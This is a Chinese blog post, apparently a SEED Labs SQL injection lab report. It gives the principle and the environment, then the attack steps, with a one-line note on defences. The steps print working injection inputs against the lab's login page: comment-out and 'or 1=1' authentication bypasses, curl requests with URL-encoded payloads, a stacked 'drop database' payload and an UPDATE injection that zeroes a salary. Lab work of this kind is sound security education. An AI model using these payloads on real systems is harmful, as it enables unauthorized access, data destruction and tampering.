seedlab实验——SQL注入攻击

一、实验目的

通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,
加强对Web攻击的防范。

二、实验原理

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

三、实验环境

Ubuntu(32-bit)、seedlab实验环境

四、实验步骤

1.搭建mysql环境和建表
在这里插入图片描述
在这里插入图片描述
2.搭建实验网页
在这里插入图片描述
3.注入攻击
Eid中输入:EID 5002’#,password输入:xyz
在这里插入图片描述

Eid中输入:a’or 1= 1#,password输入:xyz

在这里插入图片描述

curl是一个用途很广的命令行工具,用在多个网络协议(http,https)中发送数据。通过curl,可以在命令行发送1个表单.curl ‘www.example.com/getdata.php?EID=a%27%20OR%201=1%20%23&Password=’

在这里插入图片描述

使用curl攻击:
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=

在这里插入图片描述

发动在login.html中,注入: EID5001’;drop datanase dbtest;#

在这里插入图片描述

update攻击:修改他人属性,不知道密码
在这里插入图片描述

尝试输入:EID5001’#,passwd456’,salary=0#
在这里插入图片描述

2.防范SQL注入
防御SQL注入攻击的3种方法:过滤掉代码;通过编码将代码变为数据;代码和数据分离
在这里插入图片描述

**

五、实验总结

**
本次实验主要进行了SQL的注入和防御机制

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值